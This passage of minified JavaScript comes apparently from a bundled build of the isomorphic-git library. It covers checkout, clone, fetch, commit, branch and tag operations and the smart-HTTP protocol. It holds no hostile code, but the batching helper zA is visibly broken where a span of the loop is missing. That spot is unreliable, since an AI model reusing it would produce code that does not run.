mO({fs:t,onSign:e,dir:n,gitdir:r=V(n,".git"),ref:i,tagger:s,message:o=i,gpgsig:a,object:l,signingKey:c,force:u=!1,cache:f={}}){try{R("fs",t),R("gitdir",r),R("ref",i),c&&R("onSign",e);let h=new fe(t),d=await de({fsp:h,dotgit:r}),p=await no({fs:h,gitdir:d,author:s});if(!p)throw new ln("tagger");return await E9({fs:h,cache:f,onSign:e,gitdir:d,ref:i,tagger:p,message:o,gpgsig:a,object:l,signingKey:c,force:u})}catch(h){throw h.caller="git.annotatedTag",h}}async function _9({fs:t,gitdir:e,ref:n,object:r,checkout:i=!1,force:s=!1}){if(!rh(n,!0))throw new si(n,Bf.clean(n));let o=`refs/heads/${n}`;if(!s&&await te.exists({fs:t,gitdir:e,ref:o}))throw new ii("branch",n,!1);let a;try{a=await te.resolve({fs:t,gitdir:e,ref:r||"HEAD"})}catch{}a&&await te.writeRef({fs:t,gitdir:e,ref:o,value:a}),i&&await te.writeSymbolicRef({fs:t,gitdir:e,ref:"HEAD",value:o})}async function pO({fs:t,dir:e,gitdir:n=V(e,".git"),ref:r,object:i,checkout:s=!1,force:o=!1}){try{R("fs",t),R("gitdir",n),R("ref",r);let a=new fe(t),l=await de({fsp:a,dotgit:n});return await _9({fs:a,gitdir:l,ref:r,object:i,checkout:s,force:o})}catch(a){throw a.caller="git.branch",a}}var gO=(t,e)=>t==="."||e==null||e.length===0||e==="."?!0:e.length>=t.length?e.startsWith(t):t.startsWith(e);async function Xv({fs:t,cache:e,onProgress:n,onPostCheckout:r,dir:i,gitdir:s,remote:o,ref:a,filepaths:l,noCheckout:c,noUpdateHead:u,dryRun:f,force:h,track:d=!0,nonBlocking:p=!1,batchSize:g=100}){let y;if(r)try{y=await te.resolve({fs:t,gitdir:s,ref:"HEAD"})}catch{y="0000000000000000000000000000000000000000"}let w;try{w=await te.resolve({fs:t,gitdir:s,ref:a})}catch(b){if(a==="HEAD")throw b;let S=`${o}/${a}`;if(w=await te.resolve({fs:t,gitdir:s,ref:S}),d){let D=await Et.get({fs:t,gitdir:s});await D.set(`branch.${a}.remote`,o),await D.set(`branch.${a}.merge`,`refs/heads/${a}`),await Et.save({fs:t,gitdir:s,config:D})}await te.writeRef({fs:t,gitdir:s,ref:`refs/heads/${a}`,value:w})}if(!c){let b;try{b=await C9({fs:t,cache:e,onProgress:n,dir:i,gitdir:s,ref:a,force:h,filepaths:l})}catch(v){throw v instanceof st&&v.data.what===w?new Hf(a,w):v}let S=b.filter(([v])=>v==="conflict").map(([v,_])=>_);if(S.length>0)throw new Vf(S);let D=b.filter(([v])=>v==="error").map(([v,_])=>_);if(D.length>0)throw new Ce(D.join(", "));if(f){r&&await r({previousHead:y,newHead:w,type:l!=null&&l.length>0?"file":"branch"});return}let k=0,E=b.length;if(await Tt.acquire({fs:t,gitdir:s,cache:e},async function(v){await Promise.all(b.filter(([_])=>_==="delete"||_==="delete-index").map(async function([_,C]){let A=`${i}/${C}`;_==="delete"&&await t.rm(A),v.delete({filepath:C}),n&&await n({phase:"Updating workdir",loaded:++k,total:E})}))}),await Tt.acquire({fs:t,gitdir:s,cache:e},async function(v){for(let[_,C]of b)if(_==="rmdir"||_==="rmdir-index"){let A=`${i}/${C}`;try{_==="rmdir"&&await t.rmdir(A),v.delete({filepath:C}),n&&await n({phase:"Updating workdir",loaded:++k,total:E})}catch(P){if(P.code==="ENOTEMPTY")console.log(`Did not delete ${C} because directory is not empty`);else throw P}}}),await Promise.all(b.filter(([v])=>v==="mkdir"||v==="mkdir-index").map(async function([v,_]){let C=`${i}/${_}`;await t.mkdir(C),n&&await n({phase:"Updating workdir",loaded:++k,total:E})})),p){let v=b.filter(([C])=>C==="create"||C==="create-index"||C==="update"||C==="mkdir-index"),_=await zA("Update Working Dir",v.map(([C,A,P,N,B])=>()=>F9({fs:t,cache:e,gitdir:s,dir:i},[C,A,P,N,B])),n,g);await Tt.acquire({fs:t,gitdir:s,cache:e,allowUnmerged:!0},async function(C){await zA("Update Index",_.map(([A,P,N])=>()=>T9({index:C,fullpath:A,oid:P,stats:N})),n,g)})}else await Tt.acquire({fs:t,gitdir:s,cache:e,allowUnmerged:!0},async function(v){await Promise.all(b.filter(([_])=>_==="create"||_==="create-index"||_==="update"||_==="mkdir-index").map(async function([_,C,A,P,N]){let B=`${i}/${C}`;try{if(_!=="create-index"&&_!=="mkdir-index"){let{object:G}=await ct({fs:t,cache:e,gitdir:s,oid:A});if(N&&await t.rm(B),P===33188)await t.write(B,G);else if(P===33261)await t.write(B,G,{mode:511});else if(P===40960)await t.writelink(B,G);else throw new Ce(`Invalid mode 0o${P.toString(8)} detected in blob ${A}`)}let L=await t.lstat(B);P===33261&&(L.mode=493),_==="mkdir-index"&&(L.mode=57344),v.insert({filepath:C,stats:L,oid:A}),n&&await n({phase:"Updating workdir",loaded:++k,total:E})}catch(L){console.log(L)}}))});r&&await r({previousHead:y,newHead:w,type:l!=null&&l.length>0?"file":"branch"})}if(!u){let b=await te.expand({fs:t,gitdir:s,ref:a});b.startsWith("refs/heads")?await te.writeSymbolicRef({fs:t,gitdir:s,ref:"HEAD",value:b}):await te.writeRef({fs:t,gitdir:s,ref:"HEAD",value:w})}}async function C9({fs:t,cache:e,onProgress:n,dir:r,gitdir:i,ref:s,force:o,filepaths:a}){let l=0;return eo({fs:t,cache:e,dir:r,gitdir:i,trees:[ar({ref:s}),kc(),Da()],map:async function(c,[u,f,h]){if(c===".")return;if(a&&!a.some(p=>gO(c,p)))return null;switch(n&&await n({phase:"Analyzing workdir",loaded:++l}),[!!h,!!u,!!f].map(Number).join("")){case"000":return;case"001":return o&&a&&a.includes(c)?["delete",c]:void 0;case"010":switch(await u.type()){case"tree":return["mkdir",c];case"blob":return["create",c,await u.oid(),await u.mode()];case"commit":return["mkdir-index",c,await u.oid(),await u.mode()];default:return["error",`new entry Unhandled type ${await u.type()}`]}case"011":switch(`${await u.type()}-${await f.type()}`){case"tree-tree":return;case"tree-blob":case"blob-tree":return["conflict",c];case"blob-blob":return await u.oid()!==await f.oid()?o?["update",c,await u.oid(),await u.mode(),await u.mode()!==await f.mode()]:["conflict",c]:await u.mode()!==await f.mode()?o?["update",c,await u.oid(),await u.mode(),!0]:["conflict",c]:["create-index",c,await u.oid(),await u.mode()];case"commit-tree":return;case"commit-blob":return["conflict",c];default:return["error",`new entry Unhandled type ${u.type}`]}case"100":return["delete-index",c];case"101":switch(await h.type()){case"tree":return["rmdir-index",c];case"blob":return await h.oid()!==await f.oid()?o?["delete",c]:["conflict",c]:["delete",c];case"commit":return["rmdir-index",c];default:return["error",`delete entry Unhandled type ${await h.type()}`]}case"110":case"111":switch(`${await h.type()}-${await u.type()}`){case"tree-tree":return;case"blob-blob":{if(await h.oid()===await u.oid()&&await h.mode()===await u.mode()&&!o)return;if(f){if(await f.oid()!==await h.oid()&&await f.oid()!==await u.oid())return o?["update",c,await u.oid(),await u.mode(),await u.mode()!==await f.mode()]:["conflict",c]}else if(o)return["update",c,await u.oid(),await u.mode(),await u.mode()!==await h.mode()];return await u.mode()!==await h.mode()?["update",c,await u.oid(),await u.mode(),!0]:await u.oid()!==await h.oid()?["update",c,await u.oid(),await u.mode(),!1]:void 0}case"tree-blob":return["update-dir-to-blob",c,await u.oid()];case"blob-tree":return["update-blob-to-tree",c];case"commit-commit":return["mkdir-index",c,await u.oid(),await u.mode()];default:return["error",`update entry Unhandled type ${await h.type()}-${await u.type()}`]}}},reduce:async function(c,u){return u=nO(u),c?c&&c[0]==="rmdir"?(u.push(c),u):(u.unshift(c),u):u}})}async function T9({index:t,fullpath:e,stats:n,oid:r}){try{t.insert({filepath:e,stats:n,oid:r})}catch(i){console.warn(`Error inserting ${e} into index:`,i)}}async function F9({fs:t,cache:e,gitdir:n,dir:r},[i,s,o,a,l]){let c=`${r}/${s}`;if(i!=="create-index"&&i!=="mkdir-index"){let{object:f}=await ct({fs:t,cache:e,gitdir:n,oid:o});if(l&&await t.rm(c),a===33188)await t.write(c,f);else if(a===33261)await t.write(c,f,{mode:511});else if(a===40960)await t.writelink(c,f);else throw new Ce(`Invalid mode 0o${a.toString(8)} detected in blob ${o}`)}let u=await t.lstat(c);return a===33261&&(u.mode=493),i==="mkdir-index"&&(u.mode=57344),[s,o,u]}async function zA(t,e,n,r){let i=[];try{for(let s=0;sl());(await Promise.allSettled(o)).forEach(l=>{l.status==="fulfilled"&&i.push(l.value)}),n&&await n({phase:"Updating workdir",loaded:s+o.length,total:e.length})}return i}catch(s){console.error(`Error during ${t}: ${s}`)}return i}async function e1({fs:t,onProgress:e,onPostCheckout:n,dir:r,gitdir:i=V(r,".git"),remote:s="origin",ref:o,filepaths:a,noCheckout:l=!1,noUpdateHead:c=o===void 0,dryRun:u=!1,force:f=!1,track:h=!0,cache:d={},nonBlocking:p=!1,batchSize:g=100}){try{R("fs",t),R("dir",r),R("gitdir",i);let y=o||"HEAD",w=new fe(t),b=await de({fsp:w,dotgit:i});return await Xv({fs:w,cache:d,onProgress:e,onPostCheckout:n,dir:r,gitdir:b,remote:s,ref:y,filepaths:a,noCheckout:l,noUpdateHead:c,dryRun:u,force:f,track:h,nonBlocking:p,batchSize:g})}catch(y){throw y.caller="git.checkout",y}}var I9=/^refs\/(heads\/|tags\/|remotes\/)?(.*)/;function ba(t){let e=I9.exec(t);return e?e[1]==="remotes/"&&t.endsWith("/HEAD")?e[2].slice(0,-5):e[2]:t}async function io({fs:t,gitdir:e,fullname:n=!1,test:r=!1}){let i=await te.resolve({fs:t,gitdir:e,ref:"HEAD",depth:2});if(r)try{await te.resolve({fs:t,gitdir:e,ref:i})}catch{return}if(i.startsWith("refs/"))return n?i:ba(i)}function A9(t){return t=t.replace(/^git@([^:]+):/,"https://$1/"),t=t.replace(/^ssh:\/\//,"https://"),t}function yO({username:t="",password:e=""}){return`Basic ${x.from(`${t}:${e}`).toString("base64")}`}async function oh(t,e){let n=XA(t);for(;;){let{value:r,done:i}=await n.next();if(r&&await e(r),i)break}n.return&&n.return()}async function Ip(t){let e=0,n=[];await oh(t,s=>{n.push(s),e+=s.byteLength});let r=new Uint8Array(e),i=0;for(let s of n)r.set(s,i),i+=s.byteLength;return r}function LA(t){let e=t.match(/^https?:\/\/([^/]+)@/);if(e==null)return{url:t,auth:{}};e=e[1];let[n,r]=e.split(":");return t=t.replace(`${e}@`,""),{url:t,auth:{username:n,password:r}}}function Zv(t,e){let n=e.toString(16);return"0".repeat(t-n.length)+n}var gt=class{static flush(){return x.from("0000","utf8")}static delim(){return x.from("0001","utf8")}static encode(e){typeof e=="string"&&(e=x.from(e));let n=e.length+4,r=Zv(4,n);return x.concat([x.from(r,"utf8"),e])}static streamReader(e){let n=new Cp(e);return async function(){try{let i=await n.read(4);if(i==null)return!0;if(i=parseInt(i.toString("utf8"),16),i===0||i===1)return null;let s=await n.read(i-4);return s??!0}catch(i){return e.error=i,!0}}}};async function BA(t){let e={},n;for(;n=await t(),n!==!0;){if(n===null)continue;n=n.toString("utf8").replace(/\n$/,"");let r=n.indexOf("=");if(r>-1){let i=n.slice(0,r),s=n.slice(r+1);e[i]=s}else e[n]=!0}return{protocolVersion:2,capabilities2:e}}async function $A(t,{service:e}){let n=new Set,r=new Map,i=new Map,s=gt.streamReader(t),o=await s();for(;o===null;)o=await s();if(o===!0)throw new Wf;if(o.includes("version 2"))return BA(s);if(o.toString("utf8").replace(/\n$/,"")!==`# service=${e}`)throw new ka(`# service=${e}\\n`,o.toString("utf8"));let a=await s();for(;a===null;)a=await s();if(a===!0)return{capabilities:n,refs:r,symrefs:i};if(a=a.toString("utf8"),a.includes("version 2"))return BA(s);let[l,c]=Nv(a,"\0","\\x00");if(c.split(" ").map(u=>n.add(u)),l!=="0000000000000000000000000000000000000000 capabilities^{}"){let[u,f]=Nv(l," "," ");for(r.set(f,u);;){let h=await s();if(h===!0)break;if(h!==null){let[d,p]=Nv(h.toString("utf8")," "," ");r.set(p,d)}}}for(let u of n)if(u.startsWith("symref=")){let f=u.match(/symref=([^:]+):(.*)/);f.length===3&&i.set(f[1],f[2])}return{protocolVersion:1,capabilities:n,refs:r,symrefs:i}}function Nv(t,e,n){let r=t.trim().split(e);if(r.length!==2)throw new ka(`Two strings separated by '${n}'`,t.toString("utf8"));return r}var UA=(t,e)=>t.endsWith("?")?`${t}${e}`:`${t}/${e.replace(/^https?:\/\//,"")}`,jA=(t,e)=>{(e.username||e.password)&&(t.Authorization=yO(e)),e.headers&&Object.assign(t,e.headers)},Mv=async t=>{try{let e=x.from(await Ip(t.body)),n=e.toString("utf8");return{preview:n.length<256?n:n.slice(0,256)+"...",response:n,data:e}}catch{return{}}},wc=class{static async capabilities(){return["discover","connect"]}static async discover({http:e,onProgress:n,onAuth:r,onAuthSuccess:i,onAuthFailure:s,corsProxy:o,service:a,url:l,headers:c,protocolVersion:u}){let{url:f,auth:h}=LA(l),d=o?UA(o,f):f;(h.username||h.password)&&(c.Authorization=yO(h)),u===2&&(c["Git-Protocol"]="version=2");let p,g,y=!1;do if(p=await e.request({onProgress:n,method:"GET",url:`${d}/info/refs?service=${a}`,headers:c}),g=!1,p.statusCode===401||p.statusCode===203){let w=y?s:r;if(w){if(h=await w(f,{...h,headers:{...c}}),h&&h.cancel)throw new mc;h&&(jA(c,h),y=!0,g=!0)}}else p.statusCode===200&&y&&i&&await i(f,h);while(g);if(p.statusCode!==200){let{response:w}=await Mv(p);throw new uc(p.statusCode,p.statusMessage,w)}if(p.headers["content-type"]===`application/x-${a}-advertisement`){let w=await $A(p.body,{service:a});return w.auth=h,w}else{let{preview:w,response:b,data:S}=await Mv(p);try{let D=await $A([S],{service:a});return D.auth=h,D}catch{throw new Yf(w,b)}}}static async connect({http:e,onProgress:n,corsProxy:r,service:i,url:s,auth:o,body:a,headers:l}){let c=LA(s);c&&(s=c.url),r&&(s=UA(r,s)),l["content-type"]=`application/x-${i}-request`,l.accept=`application/x-${i}-result`,jA(l,o);let u=await e.request({onProgress:n,method:"POST",url:`${s}/${i}`,body:a,headers:l});if(u.statusCode!==200){let{response:f}=Mv(u);throw new uc(u.statusCode,u.statusMessage,f)}return u}},bc=class{static getRemoteHelperFor({url:e}){let n=new Map;n.set("http",wc),n.set("https",wc);let r=O9({url:e});if(!r)throw new Xf(e);if(n.has(r.transport))return n.get(r.transport);throw new Jf(e,r.transport,r.transport==="ssh"?A9(e):void 0)}};function O9({url:t}){if(t.startsWith("git@"))return{transport:"ssh",address:t};let e=t.match(/(\w+)(:\/\/|::)(.*)/);if(e!==null){if(e[2]==="://")return{transport:e[1],address:e[0]};if(e[2]==="::")return{transport:e[1],address:e[3]}}}var wa=null,xa=class{static async read({fs:e,gitdir:n}){wa===null&&(wa=new Lf);let r=V(n,"shallow"),i=new Set;return await wa.acquire(r,async function(){let s=await e.read(r,{encoding:"utf8"});if(s===null||s.trim()==="")return i;s.trim().split(` -`).map(o=>i.add(o))}),i}static async write({fs:e,gitdir:n,oids:r}){wa===null&&(wa=new Lf);let i=V(n,"shallow");if(r.size>0){let s=[...r].join(` -`)+` -`;await wa.acquire(i,async function(){await e.write(i,s,{encoding:"utf8"})})}else await wa.acquire(i,async function(){await e.rm(i)})}};async function P9({fs:t,gitdir:e,oid:n}){let r=`objects/${n.slice(0,2)}/${n.slice(2)}`;return t.exists(`${e}/${r}`)}async function N9({fs:t,cache:e,gitdir:n,oid:r,getExternalRefDelta:i}){let s=await t.readdir(V(n,"objects/pack"));s=s.filter(o=>o.endsWith(".idx"));for(let o of s){let a=`${n}/objects/pack/${o}`,l=await Jv({fs:t,cache:e,filename:a,getExternalRefDelta:i});if(l.error)throw new Ce(l.error);if(l.offsets.has(r))return!0}return!1}async function qA({fs:t,cache:e,gitdir:n,oid:r,format:i="content"}){let s=a=>ct({fs:t,cache:e,gitdir:n,oid:a}),o=await P9({fs:t,gitdir:n,oid:r});return o||(o=await N9({fs:t,cache:e,gitdir:n,oid:r,getExternalRefDelta:s})),o}function M9(t){let i="5041434b"+"00000002"+"00000000";return t.slice(0,12).toString("hex")===i}function wO(t,e){let n=t.map(r=>r.split("=",1)[0]);return e.filter(r=>{let i=r.split("=",1)[0];return n.includes(i)})}var Rp={name:"isomorphic-git",version:"1.36.1",agent:"git/isomorphic-git@1.36.1"},ac=class{constructor(){this._queue=[]}write(e){if(this._ended)throw Error("You cannot write to a FIFO that has already been ended!");if(this._waiting){let n=this._waiting;this._waiting=null,n({value:e})}else this._queue.push(e)}end(){if(this._ended=!0,this._waiting){let e=this._waiting;this._waiting=null,e({done:!0})}}destroy(e){this.error=e,this.end()}async next(){if(this._queue.length>0)return{value:this._queue.shift()};if(this._ended)return{done:!0};if(this._waiting)throw Error("You cannot call read until the previous call to read has returned!");return new Promise(e=>{this._waiting=e})}};function R9(t){let e=t.indexOf("\r"),n=t.indexOf(` -`);return e===-1&&n===-1?-1:e===-1?n+1:n===-1?e+1:n===e+1?n+1:Math.min(e,n)+1}function bO(t){let e=new ac,n="";return(async()=>(await oh(t,r=>{for(r=r.toString("utf8"),n+=r;;){let i=R9(n);if(i===-1)break;e.write(n.slice(0,i)),n=n.slice(i)}}),n.length>0&&e.write(n),e.end()))(),e}var Ap=class{static demux(e){let n=gt.streamReader(e),r=new ac,i=new ac,s=new ac,o=async function(){let a=await n();if(a===null)return o();if(a===!0){r.end(),s.end(),e.error?i.destroy(e.error):i.end();return}switch(a[0]){case 1:{i.write(a.slice(1));break}case 2:{s.write(a.slice(1));break}case 3:{let l=a.slice(1);s.write(l),r.end(),s.end(),i.destroy(new Error(l.toString("utf8")));return}default:r.write(a)}o()};return o(),{packetlines:r,packfile:i,progress:s}}};async function z9(t){let{packetlines:e,packfile:n,progress:r}=Ap.demux(t),i=[],s=[],o=[],a=!1,l=!1;return new Promise((c,u)=>{oh(e,f=>{let h=f.toString("utf8").trim();if(h.startsWith("shallow")){let d=h.slice(-41).trim();d.length!==40&&u(new Ys(d)),i.push(d)}else if(h.startsWith("unshallow")){let d=h.slice(-41).trim();d.length!==40&&u(new Ys(d)),s.push(d)}else if(h.startsWith("ACK")){let[,d,p]=h.split(" ");o.push({oid:d,status:p}),p||(l=!0)}else h.startsWith("NAK")?(a=!0,l=!0):(l=!0,a=!0);l&&(t.error?u(t.error):c({shallows:i,unshallows:s,acks:o,nak:a,packfile:n,progress:r}))}).finally(()=>{l||(t.error?u(t.error):c({shallows:i,unshallows:s,acks:o,nak:a,packfile:n,progress:r}))})})}function L9({capabilities:t=[],wants:e=[],haves:n=[],shallows:r=[],depth:i=null,since:s=null,exclude:o=[]}){let a=[];e=[...new Set(e)];let l=` ${t.join(" ")}`;for(let c of e)a.push(gt.encode(`want ${c}${l} -`)),l="";for(let c of r)a.push(gt.encode(`shallow ${c} -`));i!==null&&a.push(gt.encode(`deepen ${i} -`)),s!==null&&a.push(gt.encode(`deepen-since ${Math.floor(s.valueOf()/1e3)} -`));for(let c of o)a.push(gt.encode(`deepen-not ${c} -`));a.push(gt.flush());for(let c of n)a.push(gt.encode(`have ${c} -`));return a.push(gt.encode(`done -`)),a}async function t1({fs:t,cache:e,http:n,onProgress:r,onMessage:i,onAuth:s,onAuthSuccess:o,onAuthFailure:a,gitdir:l,ref:c,remoteRef:u,remote:f,url:h,corsProxy:d,depth:p=null,since:g=null,exclude:y=[],relative:w=!1,tags:b=!1,singleBranch:S=!1,headers:D={},prune:k=!1,pruneTags:E=!1}){let v=c||await io({fs:t,gitdir:l,test:!0}),_=await Et.get({fs:t,gitdir:l}),C=f||v&&await _.get(`branch.${v}.remote`)||"origin",A=h||await _.get(`remote.${C}.url`);if(typeof A>"u")throw new Rn("remote OR url");let P=u||v&&await _.get(`branch.${v}.merge`)||c||"HEAD";d===void 0&&(d=await _.get("http.corsProxy"));let N=bc.getRemoteHelperFor({url:A}),B=await N.discover({http:n,onAuth:s,onAuthSuccess:o,onAuthFailure:a,corsProxy:d,service:"git-upload-pack",url:A,headers:D,protocolVersion:1}),L=B.auth,G=B.refs;if(G.size===0)return{defaultBranch:null,fetchHead:null,fetchHeadDescription:null};if(p!==null&&!B.capabilities.has("shallow"))throw new Zs("shallow","depth");if(g!==null&&!B.capabilities.has("deepen-since"))throw new Zs("deepen-since","since");if(y.length>0&&!B.capabilities.has("deepen-not"))throw new Zs("deepen-not","exclude");if(w===!0&&!B.capabilities.has("deepen-relative"))throw new Zs("deepen-relative","relative");let{oid:U,fullref:he}=te.resolveAgainstMap({ref:P,map:G});for(let Ne of G.keys())Ne===he||Ne==="HEAD"||Ne.startsWith("refs/heads/")||b&&Ne.startsWith("refs/tags/")||G.delete(Ne);let Te=wO([...B.capabilities],["multi_ack_detailed","no-done","side-band-64k","ofs-delta",`agent=${Rp.agent}`]);w&&Te.push("deepen-relative");let Xe=S?[U]:G.values(),O=S?[v]:await te.listRefs({fs:t,gitdir:l,filepath:"refs"}),De=[];for(let Ne of O)try{Ne=await te.expand({fs:t,gitdir:l,ref:Ne});let lt=await te.resolve({fs:t,gitdir:l,ref:Ne});await qA({fs:t,cache:e,gitdir:l,oid:lt})&&De.push(lt)}catch{}De=[...new Set(De)];let ve=await xa.read({fs:t,gitdir:l}),I=B.capabilities.has("shallow")?[...ve]:[],Pe=L9({capabilities:Te,wants:Xe,haves:De,shallows:I,depth:p,since:g,exclude:y}),Nt=x.from(await Ip(Pe)),tt=await N.connect({http:n,onProgress:r,corsProxy:d,service:"git-upload-pack",url:A,auth:L,body:[Nt],headers:D}),Ve=await z9(tt.body);tt.headers&&(Ve.headers=tt.headers);for(let Ne of Ve.shallows)if(!ve.has(Ne))try{let{object:lt}=await ct({fs:t,cache:e,gitdir:l,oid:Ne}),At=new Ln(lt),dt=await Promise.all(At.headers().parent.map(Qn=>qA({fs:t,cache:e,gitdir:l,oid:Qn})));dt.length===0||dt.every(Qn=>Qn)||ve.add(Ne)}catch{ve.add(Ne)}for(let Ne of Ve.unshallows)ve.delete(Ne);if(await xa.write({fs:t,gitdir:l,oids:ve}),S){let Ne=new Map([[he,U]]),lt=new Map,At=10,dt=he;for(;At--;){let gi=B.symrefs.get(dt);if(gi===void 0)break;lt.set(dt,gi),dt=gi}let An=G.get(dt);An&&Ne.set(dt,An);let{pruned:Qn}=await te.updateRemoteRefs({fs:t,gitdir:l,remote:C,refs:Ne,symrefs:lt,tags:b,prune:k});k&&(Ve.pruned=Qn)}else{let{pruned:Ne}=await te.updateRemoteRefs({fs:t,gitdir:l,remote:C,refs:G,symrefs:B.symrefs,tags:b,prune:k,pruneTags:E});k&&(Ve.pruned=Ne)}if(Ve.HEAD=B.symrefs.get("HEAD"),Ve.HEAD===void 0){let{oid:Ne}=te.resolveAgainstMap({ref:"HEAD",map:G});for(let[lt,At]of G.entries())if(lt!=="HEAD"&&At===Ne){Ve.HEAD=lt;break}}let bt=he.startsWith("refs/tags")?"tag":"branch";if(Ve.FETCH_HEAD={oid:U,description:`${bt} '${ba(he)}' of ${A}`},r||i){let Ne=bO(Ve.progress);oh(Ne,async lt=>{if(i&&await i(lt),r){let At=lt.match(/([^:]*).*\((\d+?)\/(\d+?)\)/);At&&await r({phase:At[1].trim(),loaded:parseInt(At[2],10),total:parseInt(At[3],10)})}})}let dn=x.from(await Ip(Ve.packfile));if(tt.body.error)throw tt.body.error;let It=dn.slice(-20).toString("hex"),Ut={defaultBranch:Ve.HEAD,fetchHead:Ve.FETCH_HEAD.oid,fetchHeadDescription:Ve.FETCH_HEAD.description};if(Ve.headers&&(Ut.headers=Ve.headers),k&&(Ut.pruned=Ve.pruned),It!==""&&!M9(dn)){Ut.packfile=`objects/pack/pack-${It}.pack`;let Ne=V(l,Ut.packfile);await t.write(Ne,dn);let lt=dt=>ct({fs:t,cache:e,gitdir:l,oid:dt}),At=await jf.fromPack({pack:dn,getExternalRefDelta:lt,onProgress:r});await t.write(Ne.replace(/\.pack$/,".idx"),await At.toBuffer())}return Ut}async function vO({fs:t,bare:e=!1,dir:n,gitdir:r=e?n:V(n,".git"),defaultBranch:i="master"}){if(await t.exists(r+"/config"))return;let s=["hooks","info","objects/info","objects/pack","refs/heads","refs/tags"];s=s.map(o=>r+"/"+o);for(let o of s)await t.mkdir(o);await t.write(r+"/config",`[core] - repositoryformatversion = 0 - filemode = false - bare = ${e} -`+(e?"":` logallrefupdates = true -`)+` symlinks = false - ignorecase = true -`),await t.write(r+"/HEAD",`ref: refs/heads/${i} -`)}async function B9({fs:t,cache:e,http:n,onProgress:r,onMessage:i,onAuth:s,onAuthSuccess:o,onAuthFailure:a,onPostCheckout:l,dir:c,gitdir:u,url:f,corsProxy:h,ref:d,remote:p,depth:g,since:y,exclude:w,relative:b,singleBranch:S,noCheckout:D,noTags:k,headers:E,nonBlocking:v,batchSize:_=100}){try{if(await vO({fs:t,gitdir:u}),await hO({fs:t,gitdir:u,remote:p,url:f,force:!1}),h){let P=await Et.get({fs:t,gitdir:u});await P.set("http.corsProxy",h),await Et.save({fs:t,gitdir:u,config:P})}let{defaultBranch:C,fetchHead:A}=await t1({fs:t,cache:e,http:n,onProgress:r,onMessage:i,onAuth:s,onAuthSuccess:o,onAuthFailure:a,gitdir:u,ref:d,remote:p,corsProxy:h,depth:g,since:y,exclude:w,relative:b,singleBranch:S,headers:E,tags:!k});if(A===null)return;d=d||C,d=d.replace("refs/heads/",""),await Xv({fs:t,cache:e,onProgress:r,onPostCheckout:l,dir:c,gitdir:u,ref:d,remote:p,noCheckout:D,nonBlocking:v,batchSize:_})}catch(C){throw await t.rmdir(u,{recursive:!0,maxRetries:10}).catch(()=>{}),C}}async function kO({fs:t,http:e,onProgress:n,onMessage:r,onAuth:i,onAuthSuccess:s,onAuthFailure:o,onPostCheckout:a,dir:l,gitdir:c=V(l,".git"),url:u,corsProxy:f=void 0,ref:h=void 0,remote:d="origin",depth:p=void 0,since:g=void 0,exclude:y=[],relative:w=!1,singleBranch:b=!1,noCheckout:S=!1,noTags:D=!1,headers:k={},cache:E={},nonBlocking:v=!1,batchSize:_=100}){try{R("fs",t),R("http",e),R("gitdir",c),S||R("dir",l),R("url",u);let C=new fe(t),A=await de({fsp:C,dotgit:c});return await B9({fs:C,cache:E,http:e,onProgress:n,onMessage:r,onAuth:i,onAuthSuccess:s,onAuthFailure:o,onPostCheckout:a,dir:l,gitdir:A,url:u,corsProxy:f,ref:h,remote:d,depth:p,since:g,exclude:y,relative:w,singleBranch:b,noCheckout:S,noTags:D,headers:k,nonBlocking:v,batchSize:_})}catch(C){throw C.caller="git.clone",C}}async function xO({fs:t,onSign:e,dir:n,gitdir:r=V(n,".git"),message:i,author:s,committer:o,signingKey:a,amend:l=!1,dryRun:c=!1,noUpdateBranch:u=!1,ref:f,parent:h,tree:d,cache:p={}}){try{R("fs",t),l||R("message",i),a&&R("onSign",e);let g=new fe(t),y=await de({fsp:g,dotgit:r});return await Mp({fs:g,cache:p,onSign:e,gitdir:y,message:i,author:s,committer:o,signingKey:a,amend:l,dryRun:c,noUpdateBranch:u,ref:f,parent:h,tree:d})}catch(g){throw g.caller="git.commit",g}}async function SO({fs:t,dir:e,gitdir:n=V(e,".git"),fullname:r=!1,test:i=!1}){try{R("fs",t),R("gitdir",n);let s=new fe(t),o=await de({fsp:s,dotgit:n});return await io({fs:s,gitdir:o,fullname:r,test:i})}catch(s){throw s.caller="git.currentBranch",s}}async function $9({fs:t,gitdir:e,ref:n}){if(n=n.startsWith("refs/heads/")?n:`refs/heads/${n}`,!await te.exists({fs:t,gitdir:e,ref:n}))throw new st(n);let i=await te.expand({fs:t,gitdir:e,ref:n}),s=await io({fs:t,gitdir:e,fullname:!0});if(i===s){let l=await te.resolve({fs:t,gitdir:e,ref:i});await te.writeRef({fs:t,gitdir:e,ref:"HEAD",value:l})}await te.deleteRef({fs:t,gitdir:e,ref:i});let o=ba(n),a=await Et.get({fs:t,gitdir:e});await a.deleteSection("branch",o),await Et.save({fs:t,gitdir:e,config:a})}async function DO({fs:t,dir:e,gitdir:n=V(e,".git"),ref:r}){try{R("fs",t),R("ref",r);let i=new fe(t),s=await de({fsp:i,dotgit:n});return await $9({fs:i,gitdir:s,ref:r})}catch(i){throw i.caller="git.deleteBranch",i}}async function EO({fs:t,dir:e,gitdir:n=V(e,".git"),ref:r}){try{R("fs",t),R("ref",r);let i=new fe(t),s=await de({fsp:i,dotgit:n});await te.deleteRef({fs:i,gitdir:s,ref:r})}catch(i){throw i.caller="git.deleteRef",i}}async function U9({fs:t,gitdir:e,remote:n}){let r=await Et.get({fs:t,gitdir:e});await r.deleteSection("remote",n),await Et.save({fs:t,gitdir:e,config:r})}async function _O({fs:t,dir:e,gitdir:n=V(e,".git"),remote:r}){try{R("fs",t),R("remote",r);let i=new fe(t),s=await de({fsp:i,dotgit:n});return await U9({fs:i,gitdir:s,remote:r})}catch(i){throw i.caller="git.deleteRemote",i}}async function j9({fs:t,gitdir:e,ref:n}){n=n.startsWith("refs/tags/")?n:`refs/tags/${n}`,await te.deleteRef({fs:t,gitdir:e,ref:n})}async function CO({fs:t,dir:e,gitdir:n=V(e,".git"),ref:r}){try{R("fs",t),R("ref",r);let i=new fe(t),s=await de({fsp:i,dotgit:n});return await j9({fs:i,gitdir:s,ref:r})}catch(i){throw i.caller="git.deleteTag",i}}async function q9({fs:t,gitdir:e,oid:n}){let r=n.slice(0,2);return(await t.readdir(`${e}/objects/${r}`)).map(s=>`${r}${s}`).filter(s=>s.startsWith(n))}async function V9({fs:t,cache:e,gitdir:n,oid:r,getExternalRefDelta:i}){let s=[],o=await t.readdir(V(n,"objects/pack"));o=o.filter(a=>a.endsWith(".idx"));for(let a of o){let l=`${n}/objects/pack/${a}`,c=await Jv({fs:t,cache:e,filename:l,getExternalRefDelta:i});if(c.error)throw new Ce(c.error);for(let u of 